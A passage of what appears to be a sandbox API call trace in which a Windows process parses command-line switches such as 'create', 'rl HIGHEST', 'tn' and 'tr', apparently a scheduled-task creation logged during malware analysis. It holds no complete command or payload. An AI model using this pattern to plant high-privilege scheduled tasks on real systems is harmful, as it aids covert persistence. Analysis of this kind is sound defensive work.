(_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.803] lstrlenW (lpString="rl") returned 2 [0072.803] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.803] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|et|") returned 4 [0072.803] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.803] lstrlenW (lpString="|et|") returned 4 [0072.803] lstrlenW (lpString="|rl|") returned 4 [0072.803] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0072.803] SetLastError (dwErrCode=0x490) [0072.803] lstrlenW (lpString="k") returned 1 [0072.803] lstrlenW (lpString="k") returned 1 [0072.803] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.803] lstrlenW (lpString="rl") returned 2 [0072.803] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.803] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|k|") returned 3 [0072.803] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.803] lstrlenW (lpString="|k|") returned 3 [0072.803] lstrlenW (lpString="|rl|") returned 4 [0072.803] SetLastError (dwErrCode=0x490) [0072.803] lstrlenW (lpString="du") returned 2 [0072.803] lstrlenW (lpString="du") returned 2 [0072.804] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.804] lstrlenW (lpString="rl") returned 2 [0072.804] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.804] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|du|") returned 4 [0072.804] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.804] lstrlenW (lpString="|du|") returned 4 [0072.804] lstrlenW (lpString="|rl|") returned 4 [0072.804] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0072.804] SetLastError (dwErrCode=0x490) [0072.804] lstrlenW (lpString="ri") returned 2 [0072.804] lstrlenW (lpString="ri") returned 2 [0072.804] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.804] lstrlenW (lpString="rl") returned 2 [0072.804] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.804] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ri|") returned 4 [0072.804] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.804] lstrlenW (lpString="|ri|") returned 4 [0072.804] lstrlenW (lpString="|rl|") returned 4 [0072.804] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0072.804] SetLastError (dwErrCode=0x490) [0072.804] lstrlenW (lpString="z") returned 1 [0072.804] lstrlenW (lpString="z") returned 1 [0072.804] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.805] lstrlenW (lpString="rl") returned 2 [0072.805] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.805] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|z|") returned 3 [0072.805] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.805] lstrlenW (lpString="|z|") returned 3 [0072.805] lstrlenW (lpString="|rl|") returned 4 [0072.805] SetLastError (dwErrCode=0x490) [0072.805] lstrlenW (lpString="f") returned 1 [0072.805] lstrlenW (lpString="f") returned 1 [0072.805] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.805] lstrlenW (lpString="rl") returned 2 [0072.805] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.805] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.805] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.805] lstrlenW (lpString="|f|") returned 3 [0072.805] lstrlenW (lpString="|rl|") returned 4 [0072.805] SetLastError (dwErrCode=0x490) [0072.805] lstrlenW (lpString="v1") returned 2 [0072.805] lstrlenW (lpString="v1") returned 2 [0072.805] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.805] lstrlenW (lpString="rl") returned 2 [0072.805] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.805] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|v1|") returned 4 [0072.805] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.806] lstrlenW (lpString="|v1|") returned 4 [0072.806] lstrlenW (lpString="|rl|") returned 4 [0072.806] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0072.806] SetLastError (dwErrCode=0x490) [0072.806] lstrlenW (lpString="xml") returned 3 [0072.806] lstrlenW (lpString="xml") returned 3 [0072.806] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.806] lstrlenW (lpString="rl") returned 2 [0072.806] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.806] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|xml|") returned 5 [0072.806] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.806] lstrlenW (lpString="|xml|") returned 5 [0072.806] lstrlenW (lpString="|rl|") returned 4 [0072.806] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0072.806] SetLastError (dwErrCode=0x490) [0072.806] lstrlenW (lpString="ec") returned 2 [0072.806] lstrlenW (lpString="ec") returned 2 [0072.806] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.806] lstrlenW (lpString="rl") returned 2 [0072.806] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.806] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ec|") returned 4 [0072.806] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.807] lstrlenW (lpString="|ec|") returned 4 [0072.807] lstrlenW (lpString="|rl|") returned 4 [0072.807] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0072.807] SetLastError (dwErrCode=0x490) [0072.807] lstrlenW (lpString="rl") returned 2 [0072.807] lstrlenW (lpString="rl") returned 2 [0072.807] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.807] lstrlenW (lpString="rl") returned 2 [0072.807] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.807] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.807] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.807] lstrlenW (lpString="|rl|") returned 4 [0072.807] lstrlenW (lpString="|rl|") returned 4 [0072.807] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0072.807] SetLastError (dwErrCode=0x0) [0072.807] SetLastError (dwErrCode=0x0) [0072.807] lstrlenW (lpString="HIGHEST") returned 7 [0072.807] lstrlenW (lpString="-/") returned 2 [0072.807] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0072.807] SetLastError (dwErrCode=0x490) [0072.807] SetLastError (dwErrCode=0x490) [0072.807] SetLastError (dwErrCode=0x0) [0072.807] lstrlenW (lpString="HIGHEST") returned 7 [0072.808] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0072.808] SetLastError (dwErrCode=0x490) [0072.808] SetLastError (dwErrCode=0x0) [0072.808] _memicmp (_Buf1=0x2ed6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.808] lstrlenW (lpString="HIGHEST") returned 7 [0072.808] lstrlenW (lpString="HIGHEST") returned 7 [0072.808] lstrlenW (lpString=" \x09") returned 2 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0072.808] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0072.808] GetLastError () returned 0x0 [0072.808] lstrlenW (lpString="HIGHEST") returned 7 [0072.808] lstrlenW (lpString="HIGHEST") returned 7 [0072.808] SetLastError (dwErrCode=0x0) [0072.808] SetLastError (dwErrCode=0x0) [0072.808] lstrlenW (lpString="/f") returned 2 [0072.808] lstrlenW (lpString="-/") returned 2 [0072.808] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.808] lstrlenW (lpString="create") returned 6 [0072.808] lstrlenW (lpString="create") returned 6 [0072.808] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.808] lstrlenW (lpString="f") returned 1 [0072.809] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.809] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|create|") returned 8 [0072.809] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.809] lstrlenW (lpString="|create|") returned 8 [0072.809] lstrlenW (lpString="|f|") returned 3 [0072.809] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0072.809] SetLastError (dwErrCode=0x490) [0072.809] lstrlenW (lpString="?") returned 1 [0072.809] lstrlenW (lpString="?") returned 1 [0072.809] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.809] lstrlenW (lpString="f") returned 1 [0072.809] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.809] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|?|") returned 3 [0072.809] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.809] lstrlenW (lpString="|?|") returned 3 [0072.809] lstrlenW (lpString="|f|") returned 3 [0072.809] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0072.809] SetLastError (dwErrCode=0x490) [0072.809] lstrlenW (lpString="s") returned 1 [0072.809] lstrlenW (lpString="s") returned 1 [0072.809] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.809] lstrlenW (lpString="f") returned 1 [0072.809] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.809] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|s|") returned 3 [0072.809] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.810] lstrlenW (lpString="|s|") returned 3 [0072.810] lstrlenW (lpString="|f|") returned 3 [0072.810] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0072.810] SetLastError (dwErrCode=0x490) [0072.810] lstrlenW (lpString="u") returned 1 [0072.810] lstrlenW (lpString="u") returned 1 [0072.810] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.810] lstrlenW (lpString="f") returned 1 [0072.810] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.810] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|u|") returned 3 [0072.810] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.810] lstrlenW (lpString="|u|") returned 3 [0072.810] lstrlenW (lpString="|f|") returned 3 [0072.810] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0072.810] SetLastError (dwErrCode=0x490) [0072.810] lstrlenW (lpString="p") returned 1 [0072.810] lstrlenW (lpString="p") returned 1 [0072.810] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.810] lstrlenW (lpString="f") returned 1 [0072.810] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.810] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|p|") returned 3 [0072.810] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.810] lstrlenW (lpString="|p|") returned 3 [0072.810] lstrlenW (lpString="|f|") returned 3 [0072.810] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0072.811] SetLastError (dwErrCode=0x490) [0072.811] lstrlenW (lpString="ru") returned 2 [0072.811] lstrlenW (lpString="ru") returned 2 [0072.811] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.811] lstrlenW (lpString="f") returned 1 [0072.811] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.811] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ru|") returned 4 [0072.811] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.811] lstrlenW (lpString="|ru|") returned 4 [0072.811] lstrlenW (lpString="|f|") returned 3 [0072.811] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0072.811] SetLastError (dwErrCode=0x490) [0072.811] lstrlenW (lpString="rp") returned 2 [0072.811] lstrlenW (lpString="rp") returned 2 [0072.811] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.811] lstrlenW (lpString="f") returned 1 [0072.811] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.811] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rp|") returned 4 [0072.811] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.811] lstrlenW (lpString="|rp|") returned 4 [0072.811] lstrlenW (lpString="|f|") returned 3 [0072.811] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0072.811] SetLastError (dwErrCode=0x490) [0072.811] lstrlenW (lpString="sc") returned 2 [0072.811] lstrlenW (lpString="sc") returned 2 [0072.812] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.812] lstrlenW (lpString="f") returned 1 [0072.812] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.812] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.812] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.812] lstrlenW (lpString="|sc|") returned 4 [0072.812] lstrlenW (lpString="|f|") returned 3 [0072.812] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0072.812] SetLastError (dwErrCode=0x490) [0072.812] lstrlenW (lpString="mo") returned 2 [0072.812] lstrlenW (lpString="mo") returned 2 [0072.812] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.812] lstrlenW (lpString="f") returned 1 [0072.812] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.812] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|mo|") returned 4 [0072.812] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.812] lstrlenW (lpString="|mo|") returned 4 [0072.812] lstrlenW (lpString="|f|") returned 3 [0072.812] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0072.812] SetLastError (dwErrCode=0x490) [0072.812] lstrlenW (lpString="d") returned 1 [0072.812] lstrlenW (lpString="d") returned 1 [0072.812] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.812] lstrlenW (lpString="f") returned 1 [0072.812] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.813] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|d|") returned 3 [0072.813] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.813] lstrlenW (lpString="|d|") returned 3 [0072.813] lstrlenW (lpString="|f|") returned 3 [0072.813] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0072.813] SetLastError (dwErrCode=0x490) [0072.813] lstrlenW (lpString="m") returned 1 [0072.813] lstrlenW (lpString="m") returned 1 [0072.813] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.813] lstrlenW (lpString="f") returned 1 [0072.813] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.813] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|m|") returned 3 [0072.813] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.813] lstrlenW (lpString="|m|") returned 3 [0072.813] lstrlenW (lpString="|f|") returned 3 [0072.813] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0072.813] SetLastError (dwErrCode=0x490) [0072.813] lstrlenW (lpString="i") returned 1 [0072.813] lstrlenW (lpString="i") returned 1 [0072.813] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.813] lstrlenW (lpString="f") returned 1 [0072.813] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.813] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|i|") returned 3 [0072.814] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.814] lstrlenW (lpString="|i|") returned 3 [0072.814] lstrlenW (lpString="|f|") returned 3 [0072.814] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0072.814] SetLastError (dwErrCode=0x490) [0072.814] lstrlenW (lpString="tn") returned 2 [0072.814] lstrlenW (lpString="tn") returned 2 [0072.814] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.814] lstrlenW (lpString="f") returned 1 [0072.814] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.814] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.814] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.814] lstrlenW (lpString="|tn|") returned 4 [0072.814] lstrlenW (lpString="|f|") returned 3 [0072.814] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0072.814] SetLastError (dwErrCode=0x490) [0072.814] lstrlenW (lpString="tr") returned 2 [0072.814] lstrlenW (lpString="tr") returned 2 [0072.814] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.814] lstrlenW (lpString="f") returned 1 [0072.814] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.814] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.814] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.814] lstrlenW (lpString="|tr|") returned 4 [0072.814] lstrlenW (lpString="|f|") returned 3 [0072.815] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0072.815] SetLastError (dwErrCode=0x490) [0072.815] lstrlenW (lpString="st") returned 2 [0072.815] lstrlenW (lpString="st") returned 2 [0072.815] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.815] lstrlenW (lpString="f") returned 1 [0072.815] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.815] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|st|") returned 4 [0072.815] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.815] lstrlenW (lpString="|st|") returned 4 [0072.815] lstrlenW (lpString="|f|") returned 3 [0072.815] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0072.815] SetLastError (dwErrCode=0x490) [0072.815] lstrlenW (lpString="sd") returned 2 [0072.815] lstrlenW (lpString="sd") returned 2 [0072.815] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.815] lstrlenW (lpString="f") returned 1 [0072.815] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.815] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sd|") returned 4 [0072.815] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.815] lstrlenW (lpString="|sd|") returned 4 [0072.815] lstrlenW (lpString="|f|") returned 3 [0072.815] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0072.815] SetLastError (dwErrCode=0x490) [0072.815] lstrlenW (lpString="ed") returned 2 [0072.815] lstrlenW (lpString="ed") returned 2 [0072.816] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.816] lstrlenW (lpString="f") returned 1 [0072.816] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.816] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ed|") returned 4 [0072.816] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.816] lstrlenW (lpString="|ed|") returned 4 [0072.816] lstrlenW (lpString="|f|") returned 3 [0072.816] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0072.816] SetLastError (dwErrCode=0x490) [0072.816] lstrlenW (lpString="it") returned 2 [0072.816] lstrlenW (lpString="it") returned 2 [0072.816] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.816] lstrlenW (lpString="f") returned 1 [0072.816] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.816] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|it|") returned 4 [0072.816] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.816] lstrlenW (lpString="|it|") returned 4 [0072.816] lstrlenW (lpString="|f|") returned 3 [0072.816] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0072.816] SetLastError (dwErrCode=0x490) [0072.816] lstrlenW (lpString="et") returned 2 [0072.816] lstrlenW (lpString="et") returned 2 [0072.816] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.816] lstrlenW (lpString="f") returned 1 [0072.816] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.817] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|et|") returned 4 [0072.817] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.817] lstrlenW (lpString="|et|") returned 4 [0072.817] lstrlenW (lpString="|f|") returned 3 [0072.817] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0072.817] SetLastError (dwErrCode=0x490) [0072.817] lstrlenW (lpString="k") returned 1 [0072.817] lstrlenW (lpString="k") returned 1 [0072.817] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.817] lstrlenW (lpString="f") returned 1 [0072.817] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.817] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|k|") returned 3 [0072.817] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.817] lstrlenW (lpString="|k|") returned 3 [0072.817] lstrlenW (lpString="|f|") returned 3 [0072.817] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0072.817] SetLastError (dwErrCode=0x490) [0072.817] lstrlenW (lpString="du") returned 2 [0072.817] lstrlenW (lpString="du") returned 2 [0072.817] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.817] lstrlenW (lpString="f") returned 1 [0072.817] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.817] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|du|") returned 4 [0072.817] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.818] lstrlenW (lpString="|du|") returned 4 [0072.818] lstrlenW (lpString="|f|") returned 3 [0072.818] StrStrIW 